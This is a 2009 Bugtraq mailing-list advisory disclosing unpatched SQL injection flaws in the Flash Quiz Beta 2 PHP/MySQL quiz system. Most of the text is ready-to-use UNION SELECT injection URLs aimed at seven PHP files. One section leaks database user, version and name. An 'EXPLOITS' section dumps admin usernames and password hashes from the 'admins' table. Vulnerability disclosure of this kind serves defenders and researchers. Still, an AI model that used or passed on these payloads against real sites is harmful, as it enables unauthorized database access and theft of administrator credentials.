bugtraq - MULTIPLE SQL INJECTION VULNERABILITIES --Flash Quiz Beta 2-->

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Message-Id: <200905211645.n4LGj9di022366@www5.securityfocus.com>
Date: Thu, 21 May 2009 10:45:09 -0600
From: y3nh4ck3r@...il.com
To: bugtraq@...urityfocus.com
Subject: MULTIPLE SQL INJECTION VULNERABILITIES --Flash Quiz Beta 2-->

--------------------------------------------------------------
MULTIPLE SQL INJECTION VULNERABILITIES --Flash Quiz Beta 2-->
--------------------------------------------------------------

CMS INFORMATION:

-->WEB: http://sourceforge.net/projects/flashquiz/
-->DOWNLOAD: http://sourceforge.net/projects/flashquiz/
-->DEMO: N/A
-->CATEGORY: CMS / Testing
-->DESCRIPTION: A Flash quiz system with a PHP/MYSQL back end supporting multiple
		quizzes per instance, result tracking, and high score tracking.
-->RELEASED: 2009-04-13

CMS VULNERABILITY:

-->TESTED ON: firefox 3
-->DORK: N/A
-->CATEGORY: SQL INJECTION
-->AFFECT VERSION: Beta 2 (maybe <= ?)
-->Discovered Bug date: 2009-05-20
-->Reported Bug date: 2009-05-20
-->Fixed bug date: Not fixed
-->Info patch: Not fixed
-->Author: YEnH4ckEr
-->mail: y3nh4ck3r[at]gmail[dot]com
-->WEB/BLOG: N/A
-->COMMENT: A mi novia Marijose...hermano,cunyada, padres (y amigos xD) por su apoyo.
-->EXTRA-COMMENT: Gracias por aguantarme a todos! (Te kiero xikitiya!)



#########################
////////////////////////

SQL INJECTION (SQLi):

////////////////////////
#########################


<<<<---------++++++++++++++ Condition: magic quotes=OFF/ON +++++++++++++++++--------->>>>


-------
INTRO:
-------


This system is completely vulnerable to sql injection.


-------------------
PROOFS OF CONCEPT:
-------------------


[++] GET var --> 'quiz'

[++] File vuln --> 'num_questions.php'


~~~~~> http://[HOST]/[PATH]/num_questions.php?quiz=-1+UNION+ALL+SELECT+concat(user(),0x3A3A3A,version())/*


[++] GET var --> 'quiz' and 'order_number'

[++] File vuln --> 'answers.php'


~~~~~> http://[HOST]/[PATH]/answers.php?quiz=-1+UNION+ALL+SELECT+concat(user(),0x3A3A3A,version())/*

~~~~~> http://[HOST]/[PATH]/answers.php?quiz=-1&order_number=-1+UNION+ALL+SELECT+concat(user(),0x3A3A3A,version())/*


[++] GET var --> 'quiz'

[++] File vuln --> 'high_score.php'


~~~~~> http://[HOST]/[PATH]/high_score.php?quiz=-1+UNION+ALL+SELECT+version(),2,concat(user(),0x3A3A3A,version()),database(),5,6,7/*


[++] GET var --> 'quiz'

[++] File vuln --> 'high_score_web.php'


~~~~~> http://[HOST]/[PATH]/high_score_web.php?quiz=-1+UNION+ALL+SELECT+version(),2,concat(user(),0x3A3A3A,version()),database(),5,6,7/*


[++] GET var --> 'quiz'

[++] File vuln --> 'results_table_web.php'


~~~~~> http://[HOST]/[PATH]/results_table_web.php?quiz=-1+UNION+ALL+SELECT+version(),user(),concat(user(),0x3A3A3A,version()),database(),current_user(),6,database()/*


[++] GET var --> 'quiz' and 'order_number'

[++] File vuln --> 'question.php'


~~~~~> http://[HOST]/[PATH]/question.php?quiz=-1+UNION+ALL+SELECT+concat(user(),0x3A3A3A,version())/*

~~~~~> http://[HOST]/[PATH]/question.php?quiz=-1&order_number=-1+UNION+ALL+SELECT+concat(user(),0x3A3A3A,version())/*


[++[Return]++] ~~~~~> user, version and database in DB.


----------
EXPLOITS:
----------


~~~~~> http://[HOST]/[PATH]/num_questions.php?quiz=-1+UNION+ALL+SELECT+concat(username,0x3A3A3A,password_hash)+FROM+admins/*

~~~~~> http://[HOST]/[PATH]/answers.php?quiz=-1+UNION+ALL+SELECT+concat(username,0x3A3A3A,password_hash)+FROM+admins/*

~~~~~> http://[HOST]/[PATH]/answers.php?quiz=-1&order_number=-1+UNION+ALL+SELECT+concat(username,0x3A3A3A,password_hash)+FROM+admins/*

~~~~~> http://[HOST]/[PATH]/high_score.php?quiz=-1+UNION+ALL+SELECT+1,2,concat(username,0x3A3A3A,password_hash),4,5,6,7+FROM+admins/*

~~~~~> http://[HOST]/[PATH]/high_score_web.php?quiz=-1+UNION+ALL+SELECT+1,2,concat(username,0x3A3A3A,password_hash),4,5,6,7+FROM+admins/*

~~~~~> http://[HOST]/[PATH]/results_table_web.php?quiz=-1+UNION+ALL+SELECT+1,2,concat(username,0x3A3A3A,password_hash),4,5,6,7+FROM+admins/*

~~~~~> http://[HOST]/[PATH]/question.php?quiz=-1+UNION+ALL+SELECT+concat(username,0x3A3A3A,password_hash)+FROM+admins/*

~~~~~> http://[HOST]/[PATH]/question.php?quiz=-1&order_number=-1+UNION+ALL+SELECT+concat(username,0x3A3A3A,password_hash)+FROM+admins/*


[++[Return]++] ~~~~~> username:::password_hash in 'admins' table



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